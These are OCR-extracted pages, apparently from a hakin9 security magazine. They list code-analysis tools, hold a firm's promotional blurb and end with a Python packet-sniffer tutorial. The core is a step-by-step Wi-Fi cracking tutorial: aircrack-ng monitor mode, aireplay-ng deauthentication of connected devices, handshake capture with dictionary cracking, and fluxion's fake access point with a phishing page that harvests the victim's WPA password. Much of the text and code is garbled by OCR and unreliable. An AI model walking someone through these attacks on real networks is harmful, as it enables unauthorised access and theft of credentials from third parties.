rity vulnerabilities in Java programs.
» Flawfinder Flawfinder - Scans C and C++.

» Google CodeSearchDiggity - Uses Google Code Search to identify vulnerabilities in open source code projects

hosted by Google Code, MS CodePlex, SourceForge, Github, and more. The tool comes with over 130 default
searches that identify SQL injection, cross-site scripting (XSS), insecure remote and local file includes, hard-
coded passwords, and much more. Essentially, Google CodeSearchDiggity provides a source code security

analysis of nearly every single open source code project in existence — simultaneously.

» PMD - PMD scans Java source code and looks for potential code problems (this is a code quality tool that does

not focus on security issues).

» PreFast (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++ programs. Last update

2006.

» RIPS - RIPS is a static source code analyzer for vulnerabilities in PHP web applications. Please see notes on the

sourceforge.net site.

» SonarQube - Scans source code for more than 20 languages for bugs, vulnerabilities, and code smells. Sonar-

Qube IDE plugins for Eclipse, Visual Studio, and IntelliJ provided by SonarLint.

» VisualCodeGrepper (VCG) - Scans C/C++, C#, VB, PHP, Java, and PL/SQL for security issues and for com-

ments which may indicate defective code. The config files can be used to carry out additional checks for banned

functions or functions which commonly cause security issues.

» Xanitizer - Scans Java for security vulnerabilities, mainly via taint analysis. The tool comes with a number of

predefined vulnerability detectors which can additionally be extended by the user.

Commercial Tools of This Type (Reference: OWASP Source Code Analysis Tools)

» AppScan Source (IBM)

» BlueClosure BC Detect (BlueClosure)

» bugScout (Buguroo Offensive Security) Latest generation source code analysis tool bugScout detects source

code vulnerabilities and makes possible an accurate management of the life cycles due to its easy use.

» Codacy is free for open source projects, and integrates with tools such as Brakeman, Bandit, FindBugs, and a
number of others. It offers security patterns for languages such as Python, Ruby, Scala, Java, Javascript and

more.
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» Contrast from Contrast Security Contrast performs code security without actually doing static analysis. Con-

trast does Interactive Application Security Testing (IAST), correlating runtime code & data analysis. It provides

code level results without actually relying on static analysis.

» Coverity Code Advisor (Synopsys)

» CxSAST (Checkmarx)

» Fortify (HP)

» Julia - SaaS Java static analysis (JuliaSoft)

» KlocWork (KlocWork)

» Kiuwan - SaaS Software Quality & Security Analysis (an Optimyth company)

» Parasoft Test (Parasoft)

» PVS-Studio (PVS-Studio) For C/C++, C#

» Sentinel Source (Whitehat)

» Seeker (Synopsys) Seeker performs code security without actually doing static analysis. Seeker does Interactive
Application Security Testing (IAST), correlating runtime code & data analysis with simulated attacks. It pro-

vides code level results without actually relying on static analysis.

» Source Patrol (Pentest)

» Veracode Static Analysis (Veracode)
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ABOUT THE COMPANY
_

IND.IAN CYBER SECURITY SOLUTIONS

Indian, CybemSecurity Solutions is a rising platform with.a mission to provide all possible cyber security

solutions from large corporate companies to new emerging ones regardless of their sizes & kinds. Cyber
c:iminals are warming up with latest innovative techniques & modus operandi to break through networks
and open the floodgates for unauthorized access so as to get some valuable data and information about
companies to exploit ang take advantage of. Protecting corporate agencies, companies & organizations
from these threats are the fundamental work that we are focused upon.. In a nutshell, our main mission is

to ensure that your data remains absolutely protected, safe and devoid of any unauthorized access from

hackers and/or intruders.

So, as cyber security solution provider our gim is to utilize our vast'long experi@ce and knowledge in
the field by executing the exposure.that.we have gained over all these years. As a part of our mission,
the onus is on'us‘toassure uninterrupted flawless services & maintenance to your company with which
you can facilitate your business confidentl'lithout having to bother about the hovering, critical and the
ever so delicate aspect of security. And when your customers are satisfied and your business runs swiftly

»
we consider it as our own achievement taking pride in the fact that our mission is accomplished.
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We know that everyone is curious about Wireless/Wi-Fi hacking. Even I was curious about Wi-Fi hacking when I was
a teenager. But before hacking something, we need to be familiar with the working mechanism of Wi-Fi technology. So
before starting, Here’s a little a bit of information about Wi-Fi technology, mainly its security. And one more thing,

this is totally for educational purposes only. Let’s start...

The most common types of wireless security are Wired Equivalent Privacy (WEP) and Wi-Fi Protected Access (WPA).
And the new one is Wi-Fi Protected Access II (WPA2).

1. Wired Equivalent Privacy (WEP): is the most widely used Wi-Fi security algorithm in the world. In 1999,
the first versions of WEP weren’t particularly strong, even for the time they were released, because U.S. re-
strictions on the export of various cryptographic technology led to manufacturers restricting their devices to
only 64-bit encryption. Later when the restriction was removed, 128-bit encryption was implemented and

remains the most common, though 256-bit has been released.

2. Wi-Fi Protected Access (WPA): It was formally adopted in 2003, a year before WEP was officially retired.
The most common WPA configuration is WPA-PSK (Pre-Shared Key). The keys used by WPA are 256-bit.
Some of the significant changes implemented with WPA included message integrity checks (to determine if
an attacker had captured or altered packets passed between the access point and client) and the Temporal
Key Integrity Protocol (TKIP). TKIP employs a per-packet key system that was radically more secure than
fixed key used in the WEP system. TKIP was later superseded by Advanced Encryption Standard (AES).

3. Wi-Fi Protected Access II (WPA2): WPA has, as of 2006, been officially superseded by WPA2. One of the
most significant changes between WPA and WPA2 was the mandatory use of AES algorithms and the intro

duction of CCMP (Counter Cipher Mode with Block Chaining Message Authentication Code Protocol) as a
replacement for TKIP (still preserved in WPA2 as a fall-back system and for interoperability with WPA).
Currently, the primary security vulnerability to the actual WPA2 system is an obscure one (and requires the
attacker to already have access to the secured Wi-Fi network in order to gain access to certain keys and then
perpetuate an attack against other devices on the network). As such, the security implications of the known

WPA2 vulnerabilities are limited almost entirely to enterprise level networks and deserve little to no practi

cal consideration in regard to home network security. Unfortunately, the same vulnerability that is the big

gest hole in the WPA armour, the attack vector through the Wi-Fi Protected Setup (WPS), remains in mod

ern WPA2-capable access points. Although breaking into a WPA/WPA2 secured network using this vulner

ability requires anywhere from 2-14 hours of sustained effort with a modern computer, it is still a legitimate
security concern and WPS should be disabled (and, if possible, the firmware of the access point should be

flashed to a distribution that doesn’t even support WPS so the attack vector is entirely removed).

Before cracking Wi-Fi, here is a basic list ranking the current Wi-Fi security methods available on any modern (post-

2006) router, ordered from best to worst:

e WPA2+AES
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o WPA+AES

o WPA+TKIP/AES
o WPA+TKIP

o WEP

Now it’s time to crack a Wi-Fi using different tools that use different techniques.

->Aircrack-ng:

This is the most popular tool that is used for Wi-Fi cracking. To execute an attack using this tool, you need a laptop
loaded with a penetration testing OS, like Kali, BackBox, etc. Here I'm using BackBox and TP-LINK TL-WN722N.
This tool comes preinstalled in any pentesting OS. If you want to download this tool, you’ll get it here -

https://github.com/aircrack-ng/aircrack-ng. Or visit the official website https://www.aircrack-ng.org. Now just follow

the steps carefully.

Open terminal and type “iwconfig” to detect if there is any wireless interface and its name. Here the interface name

is “wlan0” as shown in the picture below.

t®backbox

Now we have to enable monitor mode on that particular interface. So, let’s run this command as shown below

“airmon-ng start wlanO’
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s that could cause

, alreplay-

root@backbox

Oops. After executing the command, we get a message that “Found 5 process that could cause trouble. If airodump-
ng aireplay-ng airtun-ng stops working after a short period of time, you may want to kill (some of) them!”
and showing some process names with their PID (Process ID). And one more thing, it is also showing that (monitor
mode enabled on mono). Now we are going to kill those processes because we don’t want any interruption during the

whole process. So now, execute this command “airmon-ng check kill”. This will check which process may inter-
rupt and kill them.

root@backbox:~# airmon-ng check kill

Found 5 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

PID Name

729 avahi-daem

756 avahi-daemon

838 NetworkManager

1227 dhclient

2514 wpa supplicant
Killing all those processes...
root@backbox:~#

Now we are going to capture nearby traffic, for this we have to run this command “airodump-ng mon0”. As soon as

you run the command you’ll get this window.

Note: “mon0” can vary on your machine like “mon1/wlanOmon”
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Here you can see lots of Wi-Fi networks with MAC Address of the Access Point (BSSID), how much data is transferring
(#Data), Channel (CH), Encryption (ENC), what kind of Cipher is used for authentication (CIPHER), and Names of
the Wi-Fi (AP) Access Point (ESSID). As soon as you get the target name here, press “Ctrl+C”. This will stop scanning.
Now select any as your target, as I targeted the highlighted one. We need only two things from here, BSSID and CH. Its
BSSID is C4:E9:84:7A:E1:16, CH is 4. Now copy the BSSID. Now type “airodump-ng --bssid

C4:E9:84:7A:E1:16 -c 4 --write WPAcrack mon0” in the terminal.
C4:E9:84:7A:E1:16 isthe BSSID of the AP.
-c 4is the channel through which the AP is operating on.

WPAcrack is the file name in which you want to write captured data.

mon0 is the monitoring wireless adapter.

Now just press Enter, and you'll get this window.
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Now open a new terminal and run this command there “aireplay-ng --deauth 20 -a C4:E9:84:7A:El1:16
mon0”

--deauth stands for De-authentication.

20 is number of De-authenticate frame you want to send.
C4:E9:84:7A:E1:161is the BSSID of the AP as I said earlier.
mon0 is the monitoring wireless adapter.

This step is the main one every time you’ll try to crack any Wi-Fi. The logic is that we are going to hit/kick away the ac-
cess point instead of any system connected to the AP (old technique, but also works well) from all the systems con-
nected to the AP using a specially crafted packet. Then all the systems automatically try to connect to the AP and send
an authentication packet. We have to capture the particular authentication packet because it contains the password of

the AP.
Check out the image below.

v Terminal - root®backbox;

Fde Edt View Terminal Tabs Help

-8 C4:E9:84
ID: C4:E9:8
nen targeting

':I‘]r > c> ) »

3 DeAuth
] DeAuth
] DeAuth

DeAuth

mMmMmmMm
N H | *

mMmMmMmMmmMmmMmmMm
SR S S Ul

Now return to the previous terminal and wait until we can see WPA handshake: BSSID (Highlighted)
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You can stop this by pressing Ctrl+C after getting the handshake.
Now, here comes the final step. We captured a packet that is encrypted with the hash value of the key. Here we’ll use a
wordlist to find out the key named as “rockyou.txt” (you can use your own custom dictionary or wordlist) that may con-

tain the password. Here “aircrack-ng converts the words of the wordlist to the hash value and matches the value

with the captured packet.

WPA2-01.cap is the captured file name

-wis for wordlist.
/home/test/Desktop/rockyou. txt isthe location of the txt file.

After getting the password, you'll get a window like this:

There are lot more tools like “Aircrack-ng”. The tools are listed below: ~

->Wifite:

This is an automated wireless attack tool. It runs only on Linux. Easy to download and run, just use the following com-
mands.

root@kali wget https://raw.github.com/derv82/wifite/master/wifite.py

root@kali chmod +x wifite.py

root@kali ./wifite.py
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Get the tool from here: https://github.com/derv82/wifite

->Fern Wi-Fi Cracker:

Fern Wi-Fi Cracker is a Wireless security auditing and attack software program written using the Python Program-
ming Language and the Python Qt GUI library. The program is able to crack and recover WEP/WPA/WPS keys and

also run other network based attacks on wireless or Ethernet based networks.

PN .
R e DO I I 2

Get the tool from here: https://github.com/savio-code/fern-wifi-cracker

->Wi-Fi Phisher:

->How it works: - From the victim's perspective, the attack makes use of three phases:
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1. Victim is being DE-authenticated from his/her access point. Wifiphisher continuously jams all of the target access
point's Wi-Fi devices within range by forging “DE- authenticate” or “Disassociate” packets to disrupt existing asso-

ciations.

2. Victim joins a rogue access point. Wifiphisher sniffs the area and copies the target access point's settings. It then
creates a rogue wireless access point that is modelled by the target. It also sets up a NAT/DHCP server and for-
wards the right ports. Consequently, because of the jamming, clients will eventually start connecting to the rogue

access point. After this phase, the victim is MiTMed.

3. Victim is being served a realistic specially-customized phishing page. Wifiphisher employs a minimal web server
that responds to HTTP & HTTPS requests. As soon as the victim requests a page from the Internet, Wifiphisher will
respond with a realistic fake page that asks for credentials or serves malware. This page will be specifically crafted

for the victim. For example, a router config-looking page will contain logos of the victim's vendor. The tool supports

community-built templates for different phishing scenarios.

tPhl - e e 0

Get the tool from here: https://github.com/wifiphisher/wifiphisher

->Ghost Phisher:

Ghost Phisher is a Wireless and Ethernet security auditing and attack software program written using the Python pro-

gramming language and the Python Qt GUI library. The program is able to emulate access points and deploy. This tool
is already installed in Kali Linux. Just open a terminal and type:

root@kali ghost-phisher
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Get the tool from here: https://github.com/savio-code/ghost-phisher

- Fluxion (Linset):

Fluxion is based on a script named Linset. There is not much difference between them. The main thing is that most of

the bugs of Linset were fixed in Fluxion. This is the most advanced and powerful tool for Wi-Fi hacking till now.

-> How it works:

Scan the networks.

Capture a handshake (can't be used without a valid handshake, it's necessary to verify the password).
Use WEB Interface.

Launch a FakeAP instance to imitate the original access point.

DE-authenticates all users connected to the target network, so they can be lured to connect to the FakeAP

and enter the WPA password.

A fake DNS server is launched in order to capture all DNS requests and redirect them to the host running

the script.
A captive portal is launched in order to serve a page, which prompts the user to enter their WPA password.
Each submitted password is verified by the handshake captured earlier.

The attack will automatically terminate, as soon as a correct password is submitted.

176


https://github.com/savio-code/ghost-phisher
https://github.com/savio-code/ghost-phisher
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

Wireless Hacking Tools

Get the tool from here: https://github.com/wi-fi-analyzer/fluxion

Fire up your Kali Linux and open a terminal. Follow the steps below,

root@kali git clone https://github.com/wi-fi-analyzer/fluxion.git

root@kali:~# cd fluxion/

root@kali:~/fluxion# ls

kali:~/fluxiong 1s

add.py build fluxion LICENSE remove.py stable

airmon dev Installer.sh README.nd Sites tests
tekali:~/fluxions []

»
-
root@kali:~/fluxion# ./fluxion
Select your preferred language here:
root@kall; ~/fluxion e 0 ©

P LI Y Y 3888888888838 33.3.3.3.3-8.

luxion Is The Future >
trasharo and ApatheticEuphoria

Select your language

German
English
Romanian
Turkish
Spanish
Chinese

Now you’ll get this window to select the interface you like to use.
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root@kali: ~/fluxion

BREBRERBABERERBERERERBERBRBERERBERERERBERERBRRBRBRRERIRE

#
#
# FLUXION 23 < Fluxion Is The Future >
# by Deltax, Strasharo and ApatheticEuphoria
#
#

DRBERERBARERBRBARERERBERERBARERBERERBARERBRBERERERBERORE

Select an interface

1) wlan® Atheros AR9271 ath9k

#7 (]

This tool is so advanced that you don’t need to type anything, just select your desired option and go on.

So, after selecting the interface it’ll ask for which channel is to be scanned. Go for “a11”

root@kali: ~/fluxion

File Edit View Search Terminal Help

m
TRNE

it

TR n

B 13

luxion Is The Future >
by Deltax, Strasharo and ApatheticEuphoria

R R R
%

Select channel

1) All channels

2) Specific channel(s)

$>ﬂ

As you select “1” it’ll scan for all the available “Access Points” (APs) with their details.
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Hit “ctrl+c” when you get your target name in the list or you can also go with any of them. As you press “Ctrl+c”

you’ll get a window.

roct St - uadon e e 0

F by eltx trashare

Select your target number here, mine is 25. Now you get this window and select “1” to create a fake access point with

the same “name” and “MAC id” of the target.
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File Edr Vew Search Terminddl Help

E luxion 's 'he ‘uture >
by Deltax, “trasharo and ‘patheticEuphoria

INFO WIFI

ID « NETGEARDS / WPA2
el = 10
= 54 Mbps

SID = 10:00:7F:A9:FB:90 (NETGEAR INC., )

#8048 Select Attack Option #ves
FakeAP - Hostapd |
FakeAP - airbase-ng (Slower conmection)

WPS - SLAUGHTER - Bruteforce WPS Pin
Bruteforce - (Hamdshake is required)

> X]

Now, the next window comes up, just press “Enter” to skip. Actually, it is asking for the path where the handshake will

be kept. Let it be default.

Flle Edt View Search Terminal Help

= luxion Is The Future >
# by Deltax, Strasharo and ‘patheticEuphoria

)

handshake location (Example:
Press ENTER to skip

File Edit View Search Terminal Help

luxion Is The Future >
# by Deltax, Strasharo and /patheticEuphoria

Handshake check

aircrack-ng (Miss chance)
pyrit
Back

& 1]

Press “1” here.

Now it’s time to capture the handshake. We need to DE-authenticate the target AP so that all the connected devices try
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to connect back with the authentication packet and we are ready to capture them.

luxion Is The Future >
# by Deltax, “trasharo and ‘patheticEuphoria

*Capture Handshake*

1) Deauth all

2) Deauth all [mdk3)
Deauth target
Rescan networks
Exit

P )

Select “3” here to “Deauth target”.

Now the real game has started.

lucion ‘s 'be "slure »
eltax, ‘trashare aad ‘pathetickepharia

ther otaeth sethed)

Deavihenticating (et COCB MNCCCO O €

({2

When you see WPA handshake is captured, click on those mini terminal (xterm) and press “Ctrl+c” and then press “1
to check the handshake.

The next windows comes like this and asks you for the attack method. Here choose “1 (Web Interface)” for “Wi-Fi
phishing attack.”

Here again just choose the option:

luxion Is The Future »
eltax, Strasharo and ‘patheticEuphoria

INFO WIFI

ID = NETGEARSS / WPA2
el = 10

{ = 54 gt;Q
D = 10:00:7F:A9:FB:99 (NETGEAR INC., )

Select your option

web Interface
Bruteforce
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File

LR R

INFO

Edit

by Deltax,

WIFI

Search Termina Help

R R R R R R R R R A R R R R R R R AR R R URERBARERBRRERERR

luxion Is The Future >

trasharo and ApatheticEuphoria

SSID = NETGEAR98 / WPA2
Channel = 10
Speed = 54 Mbps

BSSID = 10:0D:7F:A9:FB:90 (NETGEAR INC.,

Select Login Page

English

Netgear
Belkin
Arris
Verizon
Xfinity
Huawei
Spanish
Netgear

s b WwN -

Arris
Vodafone

Italian
French

Portuguese
German
Chinese

=

[ENG] (NEUTRA)
[ENG)

[ENG)

[ENG)

[ENG)

[ENG]

[ENG])

[ESP] (NEUTRA)
[ESP)

[ESP)

[ESP)

(IT)

[FR)

[POR]

[GER]

[ZH_CN] (NEUTRA)

2

SR R R N

)

After that you'll see your Kali Linux like the below picture. All the devices will be disconnected from the original AP.

1) Choone asother retwark
7) Exit

’-

LAl ol
D B B

Obviously, they will try to go to the Wi-Fi settings and search for the Wi-Fi name they used to connect. When someone

tries to connect to our “Fake AP”, you'll see this:
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At the same time the “Victim” will see this window,

- d 4+ W

Cancel NETGEAR9S

Login Page

ESSID: NETGEAR98
BSSID: 10:0D:7F:A9:FB:90
Chan: 10

For security reasons, enter the key to
access the Internet

Enter your WPA password

Victim will enter the password.
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12:34 AM e & T Ll .l 1T 18%

Cancel NETGEAR98 n

ESSID: NETGEAR9S8
BSSID: 10:0D:7F:A9:FB:90
Chan: 10

For security reasons, enter the key to
access the Internet

Enter your WPA password:

23T 4R 56 I/ 8 O )
qwer T 1ty uilo@Wp
a s d f g 'nh jk |

4 zZ X ¢c vbnm €&

After entering the right password, Victim will see this message:

=N

12:34 AM vee & Z _all all 4T 18%

Cancel NETGEAR98 n

Login Page

Your connection will be restored in a few
moments.
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And the Attacker will get this:

Wifi Information

[00200200] 1/0 keys tested (139.55 k/5)

Tine lefti 0 seconds
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INTRODUCTION:

Much has been said about Python being a programming language that is too easy and very efficient for programming,
in our case, for hackers. We will not go into detail in the syntax, nor in the programming structure with Python, but it
is necessary to see a little of the great range of the forensic analysis. Within the forensic analysis, there are several ap-
plication points: mobile, networking, cloud, or local equipment. In our case, we will use forensic analysis at the net-
working level programming with Python, so let's start. We will be making a small sniffer and we will do it little by little,

strengthening it as we go.

PREPARATION AND PREREQUISITES:
Operating system: the classic of always, Kali Linux

For the development of our script: Kde Develop.

Python's new version: Python 3.5

Modules to use: socket, struct

To make comparisons for the forensic analysis, we can use the list of URLs found at the following address:

http://urlblacklist.com/?sec=download

From that address, we downloaded the blacklist:

http://urlblacklist.com/cgi-bin/commercialdownload.pl?type=download&file=bigblacklist

EXPLANATION OF THE MODULES:

SOCK_RAW: Allows addresses to send or receive regardless of the protocol used.

struct.pack(fint, vi, v2, ...) Return a bytes object containing the values v1, v2, ... packed according to the format

string fmt. The arguments must match the values required by the format exactly.
struct.unpack(fmt, buffer) Unpack from the buffer.

buffer (presumably packed by pack(fmt, ...)) according to the format string fmt. The result is a tuple even if it con-
tains exactly one item. The buffer’s size in bytes must match the size required by the format, as reflected by calcsize().

socket.recvfrom(bufsizel, flags]) Receive data from the socket. The return value is a pair (string, address) where
string is a string representing the data received and address is the address of the socket sending the data. See the Unix

manual page recv(2) for the meaning of the optional argument flags; it defaults to zero.
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DEVELOPMENT:

Let's start with the programming, and gradually I will explain what is done.
Step 1.

We created a list of IP addresses that we will use as our base for the forensic filtering and analysis of our network traf-

fic. I suggested the blacklist that DansGuardian uses, as this article is explanatory, only.

How many IP addresses along with the addresses of Google, Facebook and Youtube, this content can be seen in file:

9 » fperturarapca fileip.txt

&4 pruebas.py X

v

List 1: IPs from fileip.txt

This list will serve us to compare it with our data that we are capturing with

our sniffer that we create with Python.
Step 2. Using Kde Develop:

A)  We open Kde Develop

KDevelop @ O ¢
 Navegacon Archivo Egtar Codigo Vertana Preferenciag Ayuda « Codwy
-
IO Nuevo proyecto  Abnr proyecto  Extraer proyecto  (SProyectos reciertes

Welcome to KDevelop!

l -":2 l 7 5 l(“‘ e OUu CaN Lt Working on & project Dy cpering an exasling or Crealng & rew one via the abowe
SO

172.217.5.169

173.194.200.129
157.240.3.19
204.15.22.80
216.239.38.10
64.233.169.26
173.194.210.27
173.194.219.27
64.233.186.27
173.194.66.27
192.168.1.254 B) We select New project:
192.168.1.253

Clase

f you need help, please check out the User Marus

Scumantes

Ox

hwvos

Fig.1 Open Kde Develop

192.168.1.205 G |
enera
192.168.1.24 ac
192.168.1.204 Categoria v Tipo de proyecto
KDE Aplicacion sencilla en Python
PHP Nuevo proyecto de Django
/6 [Python Sencilla aplicaciéon con interfaz g
Qt
Standard

Fig.2 Select Python Simple application
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C)  Area of work:

Its structure that has the IDE makes us save time and efforts for the programming in Python, it makes life easier and it
raises us. Of the IDE I have used to program in Python, I think it is IDE free which is very robust and fails to use. But
what interests us is how to create this sniffer for forensic analysis at the network level. This is the first part to be able

to create a robust tool to do a proper analysis and complete with our own tools.

- »

: as v
5 pruebas.py

Fig. 3 Working area

Little by little we can create a framework

Step 3. Our Script:

Code 1:

#!/usr/bin/env python

# -*- coding:utf-8 —-*-

# import the socket and os libraries
import socket

import os

from struct import *
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# We put our card promiscuously so that you can read all the packages that pass through

our network

#os.system Is used to execute commands, in our case Linux

#
reto = os.system("ifconfig ethO promisc")
files=('captures.txt')

captures=open (files, 'w')
captures.close()
#We created another file that will serve to collect our comparisons
captures=open ('capturesO.txt', 'w')
captures.close()
if reto == int ("0"):
try:
soc = socket.socket (socket.AF INET, socket.SOCK RAW, socket.IPPROTO TCP)
except socket.error:
print ('No connection)
sys.exit ()
llena=open ('captures.txt','a')
llenado2=open ('capturesO.txt','a")
bucle =1
while bucle in range (int ('4000")):
pac = soc.recvifrom(65565)
bucle = bucle + 1

llenado2.write(str(pac) +'\n'")
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#packet string from tuple

pac = pacl[0]

#The zero indicates from which position is going to start counting towards

#the right side, in this case, we will start counting from the space 0

#to the space 20

ip h = pac[0:20]

#We unpacked

ipl = unpack('!BBHHHBBH4s4s' , ip h)

versionh = ipl[0]

version = versionh >> 4

interneth = versionh & OxF

ipl length = interneth * 4

ttll = ipl[5]

protocol = ipl[6]

source_a socket.inet ntoa(ipl[8]);

destination a = socket.inet ntoa (ipl[9]);
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print ('Version : ' + str(version) + ' IP Header Length : ' + str(interneth) +
''ttl ¢ ' 4+ str(ttll) + ' Protocol : ' + str(protocol) + ' Source Address : ' +
str (source a) + ' Destination Address : ' + str(destination a))

tcp header = pac[ipl length:ipl length+20]

#We unpacked

tcph = unpack('!HHLLBBHHH' , tcp header)
source port = tcph[0]

dest port = tcph[1]

sequence = tcph[2]

acknowledgement = tcph[3]

doff reserved = tcph[4]

tcph length = doff reserved >> 4

print ('Source Port : ' + str(source port) + ' Dest Port : ' + str(dest port) +
' Sequence Number : ' + str(sequence) + ' Acknowledgement : ' + str (acknowledgement) +
' TCP header length : ' + str(tcph length))

h size = ipl length + tcph length * 4

data size = len(pac) - h size

#We get the packet data we have captured
data = pacl[h size:]

print ('Data : ' + data)

za=open ("fileip.txt", "r")

#We divide its content by lines
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content=za.read() .splitlines ()

#We print on the screen every data

print (za)

contador=0

#We add to our file that we created to use it later the traffic that we cap-
tured when comparing it with the list that we use of blacklist, and those that we added
to file 1

for line in content:

if source _a in line or destination a in line

llena.write (' Source Address: ' + str(source a) + ' Destination Ad-
dress: ' + str(destination a) + '\n')

llena.write('Version: ' + str(version) + ' IP Header Length: ' + str(in-
terneth) + ' ttl: ' + str(ttll) + ' Protocol: ' + str(protocol) +'\n')

llena.write ('Source Port: ' + str(source port) + ' Dest Port: ' +
str (dest port) + ' Sequence Number: ' + str(sequence) + ' Acknowledgement :' + str(ac-
knowledgement) + ' TCP header length: ' + str(tcph length)+'\n')

llena.write('Data: ' + data)

llena.write('\n"'")
llena.close ()
llenadoZ2.clos
Code explanation:
reto = os.system("ifconfig eth0O promisc")

Our network card makes a direct connection, but when we put it in promiscuous mode, what it does is that it starts to
hear everything that happens around it, and begins to see all the traffic of the network when it has the necessary per-
missions to be able to do it. In our case, we want to see everything that happens in our network and see if IP addresses

are reliable or not.

194


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

Programming In Python Forensic Analysis For Network

In the file captures.txt we download the connections that we have captured and in our list of IP addresses as we place
them as prohibited, it serves us to have a history of connections.

In the file captureso.txt we have the general capture of the traffic of the network.

soc = socket.socket (socket.AF INET, socket.SOCK RAW, socket.IPPROTO TCP)

We activate our socket so that you can see all the connections that are made.

while bucle in range (int ('4000"))

We give a loop of 4000, this can vary according to what we say, we could even do it timed for the capture, in our case,

we want you to perform the same operation 4000 times to see more packages that connect to our network.

pac = soc.recvfrom(65565)
We capture the packets that pass through the network.

When we begin our capture, we are receiving the data in the following format:

("E\x00\x05\xac\x19\x810@\x001\x06\xff\xe5\xba\xc0s8\xc0\xa8\x01D\xb7\xf0#\"'\xcb6tcLX\xde
\xec\x99P\x10\x01\x00\x1b\xf1\x00\x00\x17s\x9%9e\xd2\x86b\x97\xclL\xbbR\x13c\xd2, \xdc\x01
\x87?2r\x0e5\"' [ \x0c\xdc\'Z.\x8c\xed0\xb7\x00\x1bC\xbc\xalj\xd8{

\x85 " \x01%\xe7\x1f\x080\xcbbU~\x88\x17s-\x11\xf2\xac\xce93\x02\x0b|Z\xcOr\xac\xdaM\x9c\
xb9\xf83\xb3\x94
\xcl;t\n\xab\xf2\xldeL\xc0\xa6\xc2r\x8d\x0c\xeb\x8a\xdc\xeel\x12\x8ba&V\xa8\xad\x1d\x94
\xeeB\xd7eF\xcc\x13\x04\xel\xc7\xdf\xa3\xef\xff\x96\xf1\x07&\x1f\xd7xyM\x88M\xel, \x£f0
\xe7;\xal0g\xle\xc5\x83\x94\xc6X\xd08\xc60\xaerk\'\xac\xc4H!\x108\xae\xdc\xeb\x911\x97w\
xa7+\x92\xeb\xacc}\xd08#\xdfv\xd6H\xb1l\xe2\xf5?2qT\x10Z9c\xa7a\xal\xeff\xbe\xcb6N\x83\x07
\x02\x87L9\xf0\nb=\x8e~Vz\x9%a) \xefk\xb0\x88\x9bA>0?\xe0G\x1cb\t\x19\x07\x9%9a\x93] \xcd\x1
e\x15\x0e\xel[ (OR\x84qgE\x7f7\x18\xd9\xf4\xbe\x90\xac\xeb\xfd\xf5\x05x\x1d\xed\x9f\x14\x
11\ '9\xf4T0\x8c\xc3\x8f\x11\xed\xb3\xeb\xf1T) "\x9b#\xfcS$\x18\'Vbg\xa0%\x03\xbdh\xc60v\x
£7

b\xee \x177\xeag\x06\x0b\xbc\x06\x1bz [\xcb\x12\xe9\xb3g\x9a\xfb\x81\xfa.\xed\x8dxn\xc7?
Wi\xac9\xbal\xlcvixalO\xe7\xae\xd7U\x9bR\xe9b\x9c*\xb6\xeba\xb4\xa3.%\x15\x14\xe6\x91\xb4
Oc/\xe60\x9d\xd2\xcd\x7f2\n\ "\xd3\x12B\x9%9eJ\x9d\xff\xd3\xf7\x8b, \xb5\xcf\xd455\x19N\x89
\xba\xab5aN\xfl, \xf0\x01H\xe8\x9d\xe0\x973\"'"\x89{\xad%Y¥\x8a\xe3>\xee\x03\xa9dS\xlc\xde\x
£f5\x99\xe6\xbd\xbe8\x84h\xbb] \xe2p\x02>\xc5
\x9d\x0c\x04\xd6\xbeG\xe7\rn\xe2iT\x17MaeU\x9b\xd4U-.5\xe86\x16\xd0\x1f\xe5\x13\x8ep) 5\
x8b") N8N\xce\xecMD\xbdK\x1b\xfe\xdl\x0c\xla\x8ag\x8c\xal \'\xe9\xfdd\xal/\x85L\xd82A\xcC
0\x81\xf0\x9a\xd0u\x95W#K\x8f\xala\xce\xd9@\xe3\x98\xad4\x90\xee\xe5\xb51\xc7b\xc4A\x96\
xfe\x0cSn\x86#4\xb3\xff[\xe2\xf2;\x97\xbe\xd0\x075\xee \xd9\xbd\r\xb4\xa7\xa98\x9f\x047
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\t\xd4\x81\xcl\x0eS\x98\xcce\xc2d\n\x0ed4\xb9>Y-Q@"\x84\xcl\xc7\x07\xb7\xfa\xc9c;pA\xlc\x
96\x8fe\x05P\xaa\x00\xfas$s\x17\xdo9\xdf0 " \x1f\x9aj\xe8\xefH\x865g\r\xda\x07\x92\xc7; \xe8
\x06s5S\x97\x1d\xcf\xb3\xf67CGkE\x7f\xa9B\xa6.I\x93\xfb{\xad4\xd8\x08U\xfd\x19\xde\xb9 " }\x
fb) A0\ xbb\xfb\x99A\t\xc6\xd4\x82; YgSE\x86\x91V\x89\x96p\x92, \xbd\xd10s\xc5\x06\x8d\xcidp
"hR\ "\ x9dx4r\xfd\x16\xb3#0\x07\xel17\x00\xe6\xc4\xd1\xf8\x89\xd5\x829\xel :>\xa8U\x1f\xb5
\x94M$\x0f\x8cfr\xb0]\xa2\xb6\x0f4\xc0\xbe\x8bD\x08\xa9\x15\xco\xfb \xf7\x9%e\x02\xfcb\x
ae\xb7\xd1\x9p\x01 | 1\xd1l\xe8\xb1K\xa09\xbf\x07\xfa.\x1lc\xa2\x8b\x1b\xb5\x81\x963\xd9\xc
T\x89\xe9*e\xe61\x91\x95*\x94\xfa\xf3\xd7\xa3X\xcl\xef~\xde\xfOx{\xff$-\x04\xal\xle\t\x
cc\x1l4 \xee\xfaj\x80\xdb\xcO\xeOW+gb\xd7\xabO\x8b\x8b\xee\x12\x1b\x18\xf3H\xc4\xee\xeOA
\x82.\x8d\x8e\xda\\8\x80?\xecqg\x94u\x02\xb0\xd8\x1b\xal\xlc\xeaM\xd5f\xdc\x05\xbc\xdfF\
xa2\x9IbR\xfoy\xe6\xa0S\x0fW\x18\xdl\xae"\x14B\x9b\xf9z\xfa\x9%e\x08\xd3\r/\x1b\xe9K\xb55
\x02\xfe\xbdNd\xbc\xdd~\xdb5[\xal\x0cZ[\xfaA\x83\x03fK\x83\xc2\xb9\xb0\xa5\xd7\xd9 (, J\x
fa\x9c\xad\xbd\x90\x17>\xb5\x9%e>\x94

+d\x87\x08;E\xbel (\xc7G\xec\xccr\xao6XD\xb2\xe9\x95{\xddT\xc2\xaar\xbfu\x17\\\n\xf0
